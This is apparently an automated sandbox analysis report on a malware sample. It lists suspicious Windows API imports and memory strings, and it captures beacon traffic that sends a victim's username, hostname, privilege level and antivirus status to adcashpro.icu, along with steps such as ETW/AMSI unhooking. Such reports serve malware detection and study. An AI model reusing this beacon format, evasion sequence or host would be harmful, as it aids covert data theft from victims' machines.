(Indicator: "HTTP/1.1"; Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found string "POST /api/b HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp, 00000000-00002672.00000001.110699.D2D90000.00000004.mdmp, 00000000-00002672.00000002.112620.D2D90000.00000004.mdmp, 00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found string ".net1&0HTTP/1.1 204 No Content" (Indicator: "HTTP/1.1"; Source: "00000000-00002672.00000000.108780.D4D00000.00000004.mdmp") Found string "HTTP/1.1 204 No Content" (Indicator: "HTTP/1.1"; Source: "00000000-00002672.00000000.108780.D4D00000.00000004.mdmp, 00000000-00002672.00000001.110699.D2D90000.00000004.mdmp, 00000000-00002672.00000001.110699.D4D00000.00000004.mdmp, 00000000-00002672.00000002.112620.D2D90000.00000004.mdmp, 00000000-00002672.00000002.112620.D4D00000.00000004.mdmp, 00000000-00002672.00000003.118130.D2DED000.00000004.mdmp, 00000000-00002672.00000003.118130.D4D00000.00000004.mdmp") Found string "}HTTP/1.1 204 No Content" (Indicator: "HTTP/1.1"; Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp, 00000000-00002672.00000002.112620.D2D90000.00000004.mdmp")40:T4be,Found string ":\WINDOWS\system32\kerberos.DLL" (Indicator: "kerberos"; Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp, 00000000-00002672.00000001.110699.D2D90000.00000004.mdmp, 00000000-00002672.00000002.112620.D2D90000.00000004.mdmp, 00000000-00002672.00000003.118130.D2D90000.00000004.mdmp") Found string "icrosoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp, 00000000-00002672.00000001.110699.D2D90000.00000004.mdmp, 00000000-00002672.00000002.112620.D2D90000.00000004.mdmp, 00000000-00002672.00000003.118130.D2D90000.00000004.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp, 00000000-00002672.00000001.110699.D2D90000.00000004.mdmp, 00000000-00002672.00000002.112620.D2D90000.00000004.mdmp, 00000000-00002672.00000003.118130.D2D90000.00000004.mdmp") Found string "Microsoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp, 00000000-00002672.00000001.110699.D2D90000.00000004.mdmp, 00000000-00002672.00000002.112620.D2D90000.00000004.mdmp, 00000000-00002672.00000003.118130.D2D90000.00000004.mdmp")41:T408,Found string "Base64 encoding test data for junk code" (Indicator: "base64"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp, 00000000-00002672.00000001.110699.D2D90000.00000004.mdmp, 00000000-00002672.00000002.112620.D2D90000.00000004.mdmp, 00000000-00002672.00000003.118130.D2D90000.00000004.mdmp, 00000000-00002672.00000003.118130.D2E0A000.00000004.mdmp, 00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp, 00000000-00002672.00000001.110699.D2D90000.00000004.mdmp, 00000000-00002672.00000002.112620.D2D90000.00000004.mdmp, 00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found string "Base64 encoding test data for junk code" (Indicator: "base64"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp")42:Td10,Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "Process32First" (Indicator: "Process32First"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "Process32Next" (Indicator: "Process32Next"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00002672.00000001.110699.F4C72000.00000002.mdmp, 00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00002672.00000001.110699.F4C72000.00000002.mdmp, 00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00002672.00000001.110699.F4C72000.00000002.mdmp, 00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002672.00000001.110699.F4C72000.00000002.mdmp, 00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "Process32First" (Indicator: "Process32First"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp") Found reference to API "Process32Next" (Indicator: "Process32Next"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp")43:T496,Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00002672.00000001.110699.F4C72000.00000002.mdmp, 00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002672.00000001.110699.F4C72000.00000002.mdmp, 00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp")44:T81b,Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002672.00000001.110699.F4C72000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00002672.00000001.110699.F4C72000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002672.00000001.110699.F4C72000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00002672.00000001.110699.F4C72000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002672.00000001.110699.F4C72000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002672.00000001.110699.F4C72000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00002672.00000001.110699.F4C72000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00002672.00000001.110699.F4C72000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00002672.00000001.110699.F4C72000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00002672.00000001.110699.F4C72000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp")45:T555,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "NtQueryObject" (Indicator: "NtQueryObject"; Source: "00000000-00002672.00000001.110699.D4D00000.00000004.mdmp, 00000000-00002672.00000002.112620.D4D00000.00000004.mdmp, 00000000-00002672.00000003.118130.D4D00000.00000004.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp")46:T9f4,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthority"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthorityCount"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "GetSidSubAuthority" (Indicator: "GetSidSubAuthority"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "GetSidSubAuthority" (Indicator: "GetSidSubAuthority"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthority"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthorityCount"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp")47:T43c,Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00002672.00000001.110699.F4C72000.00000002.mdmp, 00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp")48:T5cd,Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: 6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin] Observed import api "CheckTokenMembership" which can "determine whether a specified security identifier (SID) is enabled in an access token" [Source: 6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: 6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin] Observed import api "GetSidSubAuthority" which can "return a pointer to a specified subauthority in a security identifier (SID)" [Source: 6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin] Observed import api "GetSidSubAuthorityCount" which can "return a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: 6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: 6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: 6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin]49:Tc3b," "{"m":"DA59C77B","s":1,"os":"10.0.16299","b":"16299","a":"x64","r":8191,"cp":8,"av":"none","adm":1,"dom":0,"lc":"en-US","u":"HAPUBWS","h":"DESKTOP-FVVF82A","il":"high","pp":"unknown","up":15133,"e":"","x":""}" HTTP/1.1 204 No Content Date: Wed 18 Mar 2026 08:54:00 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=8 cfOrigin;dur=502 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=LnC4v1bxFz8QQZXBlLpuEQ%2BSDRGPrkRAVoE%2FjkHmvrc4ZCkSc5xUUiBjJC4VkZ2WxtKrZbs%2FkneIOfJe1PiOAo4HVJwQ5k2EWCfoE%2Bs%3D"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} CF-RAY: 9de30298ffc82c39-SJC alt-svc: h3=":443"; ma=86400 with no response body "POST /api/b HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Length: 213 Host: adcashpro.icu" with payload::==> "{"m":"DA59C77B","s":2,"os":"10.0.16299","b":"16299","a":"x64","r":8191,"cp":8,"av":"none","adm":1,"dom":0,"lc":"en-US","u":"HAPUBWS","h":"DESKTOP-FVVF82A","il":"high","pp":"unknown","up":15133,"e":"","x":"api_ok"}" HTTP/1.1 204 No Content Date: Wed 18 Mar 2026 08:54:00 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=4 cfOrigin;dur=462 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=7NrMTHmKLm%2Ff0lv02diJr2ShRBQFRLmz9EuDwv1GIZDzK1iWke%2F0CC%2BHHw5Ecjf31H6eRoDiHhC5LSft3c1TGLXEfukgedWoTxxveYQ%3D"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} CF-RAY: 9de3029c4d702c39-SJC alt-svc: h3=":443"; ma=86400 with no response body "POST /api/b HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Length: 214 Host: adcashpro.icu" with payload::==> "{"m":"DA59C77B","s":3,"os":"10.0.16299","b":"16299","a":"x64","r":8191,"cp":8,"av":"none","adm":1,"dom":0,"lc":"en-US","u":"HAPUBWS","h":"DESKTOP-FVVF82A","il":"high","pp":"unknown","up":15133,"e":"","x":"text_ok"}" HTTP/1.1 204 No Content Date: Wed 18 Mar 2026 08:54:01 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=1 cfOrigin;dur=153 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=emCxowH%2BbDexg1FTtyVzEXNlWnZLvIpCGVKFkw8WJ832vyq5GGr1goem2ImpRKDjemfAUS%2FKf5wXymJVkAsBCJTbXiIShmugXKDXX5w%3D"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} CF-RAY: 9de302a03c552c39-SJC alt-svc: h3=":443"; ma=86400 with no response body "POST /api/b HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Length: 222 Host: adcashpro.icu" with payload::==> "{"m":"DA59C77B","s":4,"os":"10.0.16299","b":"16299","a":"x64","r":8191,"cp":8,"av":"none","adm":1,"dom":0,"lc":"en-US","u":"HAPUBWS","h":"DESKTOP-FVVF82A","il":"high","pp":"unknown","up":15133,"e":"","x":"etw+amsi+unhook"}" HTTP/1.1 204 No Content Date: Wed 18 Mar 2026 08:54:01 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=2 cfOrigin;dur=154 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=EkZQEGd8qgZVHuMCu2ownOykIVDQISQoE3C9Nuns69a872qApxKRJ3DrcqXHOPlp4UiykfX%2F7EMxWxHo3lP2gbc5gqtHNHT0CyPQx4s%3D"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} CF-RAY: 9de302a36a072c39-SJC alt-svc: h3=":443"; ma=86400 with no response body "POST /api/b HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Length: 217 Host: adcashpro.icu" with payload::==> "{"m":"DA59C77B","s":5,"os":"10.0.16299","b":"16299","a":"x64","r":8191,"cp":8,"av":"none","adm":1,"dom":0,"lc":"en-US","u":"HAPUBWS","h":"DESKTOP-FVVF82A","il":"high","pp":"unknown","up":15133,"e":"","x":"hdr_sz=352"}" HTTP/1.1 204 No Content Date: Wed 18 Mar 2026 08:54:02 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=2 cfOrigin;dur=200 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=ThO81BzWZp9DGHqRpWjuthCxX5QVCaAigvDzKSX2WZP%2F2Jn1cWLECSnpkGOQjx%2BzkpKenB%2FUj6vwqOuWSiSFQpf3sQz1xGFVKh7YNv4%3D"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} CF-RAY: 9de302a57d3c2c39-SJC alt-svc: h3=":443"; ma=86400 with no response body "POST /api/b HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Length: 227 Host: adcashpro.icu" with payload::==> "{"m":"DA59C77B","s":6,"os":"10.0.16299","b":"16299","a":"x64","r":8191,"cp":8,"av":"none","adm":1,"dom":0,"lc":"en-US","u":"HAPUBWS","h":"DESKTOP-FVVF82A","il":"high","pp":"unknown","up":15133,"e":"","x":"conf=0 r0=0/0 r1=0/0"}" HTTP/1.1 204 No Content Date: Wed 18 Mar 2026 08:54:02 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=1 cfOrigin;dur=199 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Tq%2BrTxT4KCU9sZ8pHS%2BNOhJa1W7HCfngRHJTavV13y2wAN75h2rMKpOqdGdqAgZ4%2FlxFJddv%2BTRts0Bx4C4XoAIJUyoa8IwoCVkCXUw%3D"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} CF-RAY: 9de302a6cf462c39-SJC alt-svc: h3=":443"; ma=86400 with no response body "POST /api/b HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Length: 231 Host: adcashpro.icu" with payload::==> "{"m":"DA59C77B","s":7,"os":"10.0.16299","b":"16299","a":"x64","r":8191,"cp":8,"av":"none","adm":1,"dom":0,"lc":"en-US","u":"HAPUBWS","h":"DESKTOP-FVVF82A","il":"high","pp":"unknown","up":15133,"e":"","x":"dec_sz=1764352 mz=0x5A4D"}" HTTP/1.1 204 No Content Date: Wed 18 Mar 2026 08:54:03 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=2 cfOrigin;dur=157 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=54OaCak8ktEuBsa4tM%2F1nTjMT2qeBfyYPuRibD0h6HCixZ24hwFNEaGOQNDwJaFf%2Ff8ZbfhCKfNwk%2FYj7Jad5rfozYmbZXxa1EYsnU8%3D"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} CF-RAY: 9de302acd9392c39-SJC alt-svc: h3=":443"; ma=86400 with no response body "POST /api/b HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Length: 224 Host: adcashpro.icu" with payload::==> "{"m":"DA59C77B","s":8,"os":"10.0.16299","b":"16299","a":"x64","r":8191,"cp":8,"av":"none","adm":1,"dom":0,"lc":"en-US","u":"HAPUBWS","h":"DESKTOP-FVVF82A","il":"high","pp":"unknown","up":15133,"e":"","x":"raw_pe sz=1764352"}" HTTP/1.1 204 No Content Date: Wed 18 Mar 2026 08:54:03 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=2 cfOrigin;dur=163 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=M%2BdBajGfXUk9FnL5TD7Bs6wmHJ6%2FBtjXPvihN0yqQfuxXWt7cKPyymEkyQCiMT5gJIpteRSFsOVsfcpaeyYaMb3aBuRoFaViYKM%2FrJ0%3D"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} CF-RAY: 9de302adfb292c39-SJC alt-svc: h3=":443"; ma=86400 with no response body "POST /api/b HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Length: 250 Host: adcashpro.icu" with payload::==> "{"m":"DA59C77B","s":9,"os":"10.0.16299","b":"16299","a":"x64","r":8191,"cp":8,"av":"none","adm":1,"dom":0,"lc":"en-US","u":"HAPUBWS","h":"DESKTOP-FVVF82A","il":"high","pp":"unknown","up":15133,"e":"","x":"dll=0 base=0x00007FF79A390000 vsz=0x7CD1000"}" HTTP/1.1 204 No Content Date: Wed 18 Mar 2026 08:54:04 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=1 cfOrigin;dur=162 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=XiLmYSWUmXfXPDnd3kJQwioJSduff21R7s8aQoe9LUk1nJ%2BBt2xmxPit602efs7VicArPfRIc1MxeAH54c%2FS2E5okGXWw8NW6udEX9U%3D"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} CF-RAY: 9de302b80b872c39-SJC alt-svc: h3=":443"; ma=86400 with no response body "POST /api/b HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Length: 214 Host: adcashpro.icu" with payload::==> "{"m":"DA59C77B","s":10,"os":"10.0.16299","b":"16299","a":"x64","r":8191,"cp":8,"av":"none","adm":1,"dom":0,"lc":"en-US","u":"HAPUBWS","h":"DESKTOP-FVVF82A","il":"high","pp":"unknown","up":15133,"e":"","x":"secs=7"}" HTTP/1.1 204 No Content Date: Wed 18 Mar 2026 08:54:06 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=2 cfOrigin;dur=157 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=XWBlNTvgn0063NPXSJNMFIZ2szWFNmFQIx9vY2HcEyaNQbLMyE7J1B4cQg%2BkuCLopbWPjuhc%2BTJIMPx5%2FHVCBZLhbAhCeZYj%2BsC7MqM%3D"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} CF-RAY: 9de302bedeb12c39-SJC alt-svc: h3=":443"; ma=86400 with no response body "POST /api/b HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Length: 219 Host: adcashpro.icu" with payload::==> "{"m":"DA59C77B","s":11,"os":"10.0.16299","b":"16299","a":"x64","r":8191,"cp":8,"av":"none","adm":1,"dom":0,"lc":"en-US","u":"HAPUBWS","h":"DESKTOP-FVVF82A","il":"high","pp":"unknown","up":15133,"e":"","x":"imports=269"}" HTTP/1.1 204 No Content Date: Wed 18 Mar 2026 08:54:06 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Server: 